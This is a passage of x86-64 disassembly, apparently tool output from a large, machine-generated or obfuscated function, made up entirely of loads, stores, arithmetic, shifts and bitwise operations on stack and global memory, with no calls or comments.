movzx eax, word [rax]
mov word [rsp + 0xc7c], ax
lea rax, [rsp + 0x12e]
mov qword [0x14017a4f0], rax
mov rax, qword [rsp + 0x5b28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8ac]
add eax, ecx
mov word [rsp + 0x8fc], ax
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
mov word [rsp + 0xc80], ax
movzx eax, word [rsp + 0xb14]
movzx ecx, word [rsp + 0x9a4]
xor eax, ecx
mov rcx, qword [rsp + 0x64b0]
mov word [rcx], ax
mov rax, qword [str.kD3]
mov rcx, qword [rsp + 0x5850]
mov qword [rsp + 0x6ff8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6ff8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5838]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5278]
mov qword [rsp + 0x7000], rax
mov rax, qword [rsp + 0x5368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c6c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5828]
mov dword [rcx], eax
mov rax, qword [rsp + 0x64b8]
mov eax, dword [rax]
mov dword [rsp + 0x2dfc], eax
mov rax, qword [0x14017a3f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6fc8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x6430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x61a0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14017a2c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6998]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x152]
sub eax, ecx
mov rcx, qword [rsp + 0x6b20]
mov byte [rcx], al
mov rax, qword [rsp + 0x67b0]
movzx eax, byte [rax]
mov byte [rsp + 0x164], al
movzx eax, byte [rsp + 0x160]
mov rcx, qword [rsp + 0x6ed0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5688]
mov byte [rcx], al
movzx eax, byte [rsp + 0xff]
mov byte [rsp + 0x165], al
mov rax, qword [rsp + 0x5bc0]
mov rcx, qword [rsp + 0x55f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6010], rax
mov rax, qword [rsp + 0x5490]
mov rcx, qword [rsp + 0x51f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5470]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b08]
mov dword [rsp + 0x2e00], eax
mov rax, qword [rsp + 0x6360]
mov rax, qword [rax]
mov rcx, qword [0x140178e78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x53f8], rax
lea rax, [rsp + 0x63]
mov qword [0x14017a4f8], rax
lea rax, [rsp + 0x95c]
mov qword [rsp + 0x7008], rax
mov rax, qword [rsp + 0x4ee0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbe4]
and eax, ecx
mov word [rsp + 0x988], ax
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0x166], al
mov rax, qword [rsp + 0x5ed0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5430]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5368]
mov ecx, dword [rsp + 0x2b24]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6558]
mov dword [rcx], eax
lea rax, [rsp + 0x5628]
mov qword [rsp + 0x7010], rax
mov rax, qword [rsp + 0x5178]
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c80], rax
lea rax, [rsp + 0x2bbc]
mov qword [rsp + 0x7018], rax
mov rax, qword [rsp + 0x61d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb60]
shl eax, cl
mov word [0x140178f60], ax
movzx eax, word [rsp + 0xbd0]
movzx ecx, word [rsp + 0xa08]
xor eax, ecx
mov word [rsp + 0x914], ax
mov rax, qword [0x14017a1f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ee0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb6c], ax
mov rax, qword [rsp + 0x5c58]
movzx eax, byte [rax]
mov byte [rsp + 0x167], al
movzx eax, word [rsp + 0xb94]
mov rcx, qword [0x14017a248]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb14], ax
mov rax, qword [rsp + 0x4f88]
mov qword [rsp + 0x7020], rax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x51b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6310], rax
mov eax, dword [0x140178e8c]
mov ecx, dword [rsp + 0x2c58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2db8], eax
mov eax, dword [rsp + 0x2c54]
mov dword [rsp + 0x2e04], eax
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x156]
add eax, ecx
mov rcx, qword [0x14017a3e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6b48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa98]
add eax, ecx
mov rcx, qword [rsp + 0x5908]
mov word [rcx], ax
movzx eax, byte [rsp + 0x154]
mov byte [rsp + 0x168], al
mov rax, qword [rsp + 0x54f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa5c]
sub eax, ecx
mov rcx, qword [rsp + 0x6100]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdd]
mov byte [rsp + 0x169], al
mov rax, qword [rsp + 0x5450]
mov rcx, qword [str.kD3]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5bd8]
mov ecx, dword [rsp + 0x2ce0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5f48]
mov dword [rcx], eax
mov eax, dword [0x14017a064]
mov dword [rsp + 0x2e08], eax
mov rax, qword [rsp + 0x5088]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6050]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5458], rax
mov rax, qword [rsp + 0x6778]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6290]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a2a8]
mov word [rcx], ax
movzx eax, byte [0x140178e9e]
mov byte [rsp + 0x16a], al
mov rax, qword [rsp + 0x60c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5ba0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6f28]
mov word [rcx], ax
mov rax, qword [rsp + 0x67b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6cf0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5bb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6860]
movzx eax, byte [rax]
mov byte [rsp + 0x16b], al
mov rax, qword [rsp + 0x61b8]
mov rcx, qword [rsp + 0x6570]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5aa8]
mov qword [rcx], rax
lea rax, [rsp + 0x57f0]
mov qword [rsp + 0x7028], rax
mov eax, dword [rsp + 0x2be4]
movzx ecx, al
mov eax, dword [rsp + 0x2ac4]
shl eax, cl
mov dword [rsp + 0x2d50], eax
mov rax, qword [rsp + 0x53a0]
mov rcx, qword [rsp + 0x6e08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2bcc], eax
lea rax, [rsp + 0xb7c]
mov qword [0x14017a500], rax
lea rax, [0x140178f44]
mov qword [rsp + 0x7030], rax
movsx eax, word [rsp + 0x9cc]
movsx ecx, word [rsp + 0xbf0]
and eax, ecx
mov word [rsp + 0x8f0], ax
movzx eax, word [rsp + 0xc4c]
mov word [rsp + 0xc84], ax
mov rax, qword [rsp + 0x6af0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5d00]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bf8]
mov ecx, dword [rsp + 0x2d04]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6e28]
mov dword [rcx], eax
lea rax, [rsp + 0x2c70]
mov qword [rsp + 0x7038], rax
mov rax, qword [rsp + 0x5ee0]
mov rcx, qword [rsp + 0x53f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5750], rax
mov rax, qword [rsp + 0x6570]
mov qword [rsp + 0x7040], rax
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [rsp + 0xf4]
sub eax, ecx
mov byte [0x14017a0fc], al
mov rax, qword [rsp + 0x6ba8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8b8]
sub eax, ecx
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x5440]
movzx eax, byte [rax]
mov byte [rsp + 0x16c], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6cb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5dc0]
mov byte [rcx], al
movsx eax, word [0x14017a488]
mov rcx, qword [rsp + 0x6188]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6718]
mov word [rcx], ax
mov rax, qword [rsp + 0x5398]
mov eax, dword [rax]
mov dword [rsp + 0x2e0c], eax
mov rax, qword [rsp + 0x64e8]
mov rcx, qword [rsp + 0x5950]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5550], rax
mov rax, qword [rsp + 0x54b0]
mov rax, qword [rax]
mov qword [rsp + 0x7048], rax
mov rax, qword [rsp + 0x5310]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cc8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c00], eax
lea rax, [rsp + 0xb0c]
mov qword [0x14017a508], rax
mov rax, qword [rsp + 0x5b40]
movzx eax, byte [rax]
mov rcx, qword [0x14017a3c0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x160], al
movzx eax, word [rsp + 0xb3c]
mov word [rsp + 0xc88], ax
mov rax, qword [rsp + 0x6518]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5698]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x88], al
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x7050], rax
mov rax, qword [rsp + 0x5170]
mov ecx, dword [rsp + 0x2a40]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2a74], eax
mov rax, qword [rsp + 0x5b38]
mov rcx, qword [rsp + 0x6f70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fd0], rax
mov rax, qword [rsp + 0x5bd8]
mov eax, dword [rax]
mov dword [rsp + 0x2e10], eax
mov rax, qword [rsp + 0x5d68]
mov rcx, qword [0x14017a058]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x57f8]
mov qword [rcx], rax
lea rax, [rsp + 0x92c]
mov qword [rsp + 0x7058], rax
movsx eax, word [rsp + 0x988]
movsx ecx, word [rsp + 0xc40]
and eax, ecx
mov word [0x140178ed8], ax
mov rax, qword [rsp + 0x6af8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
sub eax, ecx
mov rcx, qword [rsp + 0x5ff0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5fa0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5830]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x117], al
mov rax, qword [0x14017a1e0]
movzx eax, word [rax]
mov word [rsp + 0xc8c], ax
mov rax, qword [rsp + 0x6d50]
mov ecx, dword [rsp + 0x28f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2cbc], eax
lea rax, [rsp + 0x4e40]
mov qword [rsp + 0x7060], rax
mov rax, qword [str.kD3]
mov rcx, qword [rsp + 0x6010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5930]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b58]
mov dword [rsp + 0x2e14], eax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x6cf0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x162], al
lea rax, [rsp + 0x9f0]
mov qword [0x14017a510], rax
movsx eax, byte [0x140178e5c]
movsx ecx, byte [rsp + 0xc5]
add eax, ecx
mov rcx, qword [rsp + 0x6b08]
mov byte [rcx], al
movzx eax, word [rsp + 0xc44]
mov word [rsp + 0xc90], ax
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x95]
sub eax, ecx
mov byte [rsp + 0x12f], al
mov rax, qword [rsp + 0x4dc8]
mov eax, dword [rax]
mov dword [rsp + 0x2e18], eax
mov rax, qword [rsp + 0x5950]
mov rcx, qword [rsp + 0x5338]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60f8], rax
mov rax, qword [0x140178e60]
mov rcx, qword [rsp + 0x62e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
lea rax, [rsp + 0x2b30]
mov qword [rsp + 0x7068], rax
movzx eax, byte [rsp + 0x6d]
mov rcx, qword [rsp + 0x6b38]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x62b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x91c]
movzx ecx, word [rsp + 0xa54]
sar eax, cl
mov word [0x140178e68], ax
lea rax, [rsp + 0xc00]
mov qword [rsp + 0x7070], rax
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x6038]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x144], al
mov rax, qword [rsp + 0x6b60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7058]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x890], ax
lea rax, [rsp + 0x2b84]
mov qword [rsp + 0x7078], rax
mov rax, qword [rsp + 0x64c8]
mov rcx, qword [rsp + 0x69b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6b68], rax
mov rax, qword [rsp + 0x52e8]
mov rax, qword [rax]
mov qword [rsp + 0x7080], rax
mov rax, qword [rsp + 0x5be8]
mov ecx, dword [rsp + 0x2c6c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2bf0], eax
movzx eax, byte [rsp + 0xf0]
mov byte [rsp + 0x16d], al
lea rax, [rsp + 0x94c]
mov qword [0x14017a518], rax
mov rax, qword [0x14017a100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa0c]
and eax, ecx
mov word [rsp + 0xc2c], ax
movsx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x62f0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x6600]
movzx eax, byte [rax]
mov byte [rsp + 0x16e], al
mov rax, qword [rsp + 0x51b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8b0]
sub eax, ecx
mov word [rsp + 0xad0], ax
mov rax, qword [rsp + 0x7038]
mov eax, dword [rax]
mov dword [rsp + 0x2e1c], eax
mov rax, qword [rsp + 0x5050]
mov rcx, qword [rsp + 0x6f50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5588], rax
mov rax, qword [rsp + 0x5b88]
mov rcx, qword [rsp + 0x60d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7040], rax
mov rax, qword [rsp + 0x6d50]
mov eax, dword [rax]
mov dword [rsp + 0x2e20], eax
mov rax, qword [rsp + 0x6258]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12d]
add eax, ecx
mov byte [0x140178ec3], al
mov rax, qword [rsp + 0x5168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb20]
xor eax, ecx
mov word [rsp + 0xb58], ax
movzx eax, byte [rsp + 0x14c]
mov byte [rsp + 0x16f], al
movzx eax, word [rsp + 0xc2c]
movzx ecx, word [0x140178e88]
or eax, ecx
mov word [rsp + 0x950], ax
movsx eax, word [rsp + 0x880]
movsx ecx, word [rsp + 0x998]
sar eax, cl
mov rcx, qword [rsp + 0x4e08]
mov word [rcx], ax
lea rax, [rsp + 0x5678]
mov qword [rsp + 0x7088], rax
mov rax, qword [rsp + 0x50f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2c50]
shl eax, cl
mov dword [rsp + 0x2a7c], eax
mov eax, dword [rsp + 0x2c44]
mov dword [rsp + 0x2e24], eax
mov rax, qword [rsp + 0x5808]
mov rcx, qword [rsp + 0x51c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6598]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe1]
mov byte [0x14017a143], al
mov rax, qword [0x14017a440]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5700]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x964], ax
lea rax, [rsp + 0xae8]
mov qword [rsp + 0x7090], rax
movzx eax, byte [rsp + 0xcc]
movzx ecx, byte [0x14017a055]
sub eax, ecx
mov rcx, qword [rsp + 0x6080]
mov byte [rcx], al
lea rax, [rsp + 0xa3]
mov qword [rsp + 0x7098], rax
mov rax, qword [rsp + 0x6198]
mov rcx, qword [rsp + 0x66a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d3c], eax
lea rax, [rsp + 0x2ae8]
mov qword [rsp + 0x70a0], rax
mov rax, qword [rsp + 0x6ac8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5570]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6458], rax
mov rax, qword [rsp + 0x5a70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6928]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6708]
mov qword [rcx], rax
movsx eax, word [rsp + 0xa24]
mov rcx, qword [rsp + 0x5d90]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a1f8]
mov word [rcx], ax
lea rax, [rsp + 0xab4]
mov qword [rsp + 0x70a8], rax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0xc0]
add eax, ecx
mov byte [rsp + 0xad], al
lea rax, [rsp + 0x96]
mov qword [rsp + 0x70b0], rax
movzx eax, byte [0x140178ea3]
movzx ecx, byte [rsp + 0xf5]
sub eax, ecx
mov rcx, qword [rsp + 0x5128]
mov byte [rcx], al
mov rax, qword [rsp + 0x5448]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5a38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6540], rax
mov eax, dword [rsp + 0x2de8]
mov dword [rsp + 0x2e28], eax
mov eax, dword [rsp + 0x2a40]
mov rcx, qword [rsp + 0x5f18]
mov qword [rsp + 0x70b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x70b8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5738]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4fa0]
mov qword [rsp + 0x70c0], rax
lea rax, [rsp + 0x8e]
mov qword [0x14017a520], rax
mov rax, qword [0x14017a2e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5ac0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5e28]
mov word [rcx], ax
mov rax, qword [rsp + 0x6600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5818]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6dc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5db8]
movzx eax, word [rax]
mov word [rsp + 0xc94], ax
movsx eax, word [rsp + 0x8f8]
movsx ecx, word [rsp + 0xb48]
xor eax, ecx
mov rcx, qword [rsp + 0x7030]
mov word [rcx], ax
mov rax, qword [rsp + 0x5778]
mov qword [rsp + 0x70c8], rax
mov rax, qword [rsp + 0x4e40]
mov rcx, qword [rsp + 0x5ed8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x51e8], rax
mov rax, qword [rsp + 0x5290]
mov eax, dword [rax]
mov dword [rsp + 0x2e2c], eax
mov rax, qword [rsp + 0x6300]
mov ecx, dword [rsp + 0x2dac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ad4], eax
mov rax, qword [rsp + 0x6970]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc7]
sub eax, ecx
mov byte [0x140178e8b], al
mov rax, qword [rsp + 0x5700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc78]
add eax, ecx
mov word [rsp + 0xc70], ax
mov rax, qword [rsp + 0x5d70]
movzx eax, word [rax]
mov word [rsp + 0xc98], ax
mov rax, qword [rsp + 0x63a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9f]
add eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
lea rax, [rsp + 0xc4]
mov qword [rsp + 0x70d0], rax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5268]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x64e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5530]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2de0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2c54]
mov dword [rsp + 0x2e30], eax
mov rax, qword [rsp + 0x4fe8]
mov rcx, qword [rsp + 0x5708]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6468]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xd6]
movsx ecx, byte [0x140178ec6]
add eax, ecx
mov byte [0x140178ed7], al
lea rax, [rsp + 0x8f0]
mov qword [rsp + 0x70d8], rax
mov rax, qword [rsp + 0x55e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8f]
sub eax, ecx
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb90]
mov rcx, qword [rsp + 0x60b0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x51a8]
mov word [rcx], ax
lea rax, [rsp + 0xa90]
mov qword [rsp + 0x70e0], rax
mov rax, qword [rsp + 0x5bd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2a44]
shl eax, cl
mov rcx, qword [rsp + 0x66c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5548]
mov qword [rsp + 0x70e8], rax
mov rax, qword [rsp + 0x6d60]
mov rcx, qword [rsp + 0x6140]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2b14], eax
mov rax, qword [rsp + 0x6a98]
mov rcx, qword [rsp + 0x57f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6620], rax
lea rax, [0x140178e96]
mov qword [0x14017a528], rax
lea rax, [rsp + 0xac4]
mov qword [rsp + 0x70f0], rax
mov rax, qword [rsp + 0x7008]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
and eax, ecx
mov word [rsp + 0xb90], ax
lea rax, [rsp + 0xda]
mov qword [rsp + 0x70f8], rax
mov rax, qword [rsp + 0x6038]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc5]
add eax, ecx
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0x6c18]
mov rax, qword [rax]
mov qword [rsp + 0x7100], rax
mov rax, qword [rsp + 0x4f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2df4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6820]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6770]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6638], rax
lea rax, [rsp + 0x2d3c]
mov qword [rsp + 0x7108], rax
mov rax, qword [rsp + 0x6a20]
movzx eax, word [rax]
mov rcx, qword [0x14017a2b8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5478]
mov word [rcx], ax
movsx eax, word [rsp + 0x94c]
movsx ecx, word [rsp + 0xc80]
add eax, ecx
mov word [0x140178f30], ax
lea rax, [rsp + 0xe9]
mov qword [rsp + 0x7110], rax
mov rax, qword [rsp + 0x6a40]
movsx eax, byte [rax]
mov rcx, qword [0x14017a070]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd0], al
movzx eax, word [rsp + 0xb2c]
mov rcx, qword [rsp + 0x5d10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc8c], ax
mov rax, qword [rsp + 0x6678]
mov qword [rsp + 0x7118], rax
mov rax, qword [rsp + 0x6030]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5778]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5920], rax
mov eax, dword [rsp + 0x2ad8]
mov dword [rsp + 0x2e34], eax
mov rax, qword [rsp + 0x69a8]
mov rcx, qword [rsp + 0x4f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2ce0], eax
mov rax, qword [rsp + 0x5440]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xef]
sar eax, cl
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0x5f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8b]
or eax, ecx
mov rcx, qword [0x14017a198]
mov byte [rcx], al
lea rax, [rsp + 0xbfc]
mov qword [rsp + 0x7120], rax
mov rax, qword [0x14017a4b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6008]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc14], ax
lea rax, [rsp + 0xa00]
mov qword [rsp + 0x7128], rax
mov rax, qword [rsp + 0x5360]
mov rcx, qword [rsp + 0x6d98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6548], rax
mov eax, dword [rsp + 0x2ad4]
mov ecx, dword [rsp + 0x2b58]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6768]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2cd0]
mov dword [rsp + 0x2e38], eax
mov rax, qword [rsp + 0x5d38]
mov rcx, qword [rsp + 0x6e30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f80], rax
lea rax, [rsp + 0x139]
mov qword [rsp + 0x7130], rax
lea rax, [rsp + 0xac8]
mov qword [0x14017a530], rax
mov rax, qword [rsp + 0x5b68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5d40]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10d], al
movzx eax, word [rsp + 0x9cc]
mov word [rsp + 0xc9c], ax
movzx eax, byte [0x140178e8b]
movzx ecx, byte [rsp + 0xd4]
add eax, ecx
mov rcx, qword [rsp + 0x6878]
mov byte [rcx], al
mov rax, qword [rsp + 0x6d58]
mov rcx, qword [rsp + 0x6988]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6cc8]
mov qword [rcx], rax
lea rax, [rsp + 0x2c74]
mov qword [rsp + 0x7138], rax
mov rax, qword [rsp + 0x5b78]
mov rcx, qword [rsp + 0x6540]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5840], rax
mov eax, dword [rsp + 0x2ba4]
mov dword [rsp + 0x2e3c], eax
mov rax, qword [rsp + 0x6188]
movsx eax, word [rax]
movsx ecx, word [0x14017a1a0]
add eax, ecx
mov word [rsp + 0xaf0], ax
lea rax, [rsp + 0xa0]
mov qword [0x14017a538], rax
mov rax, qword [rsp + 0x6668]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5520]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6cf0]
mov byte [rcx], al
lea rax, [rsp + 0xf3]
mov qword [rsp + 0x7140], rax
mov rax, qword [rsp + 0x58d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6720]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x898], ax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x7148], rax
mov rax, qword [rsp + 0x7100]
mov rcx, qword [rsp + 0x5da8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x56b0], rax
mov rax, qword [rsp + 0x6448]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ea8]
mov qword [rsp + 0x7150], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7150]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x5f50], rax
lea rax, [rsp + 0x2e30]
mov qword [rsp + 0x7158], rax
mov eax, dword [rsp + 0x2c04]
movzx ecx, al
mov eax, dword [rsp + 0x2be0]
shl eax, cl
mov rcx, qword [rsp + 0x5310]
mov dword [rcx], eax
movsx eax, word [0x14017a298]
mov rcx, qword [rsp + 0x53e8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140178f20], ax
mov rax, qword [rsp + 0x56e0]
movzx eax, word [rax]
mov word [rsp + 0xca0], ax
mov rax, qword [rsp + 0x64a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x147]
add eax, ecx
mov byte [rsp + 0x16b], al
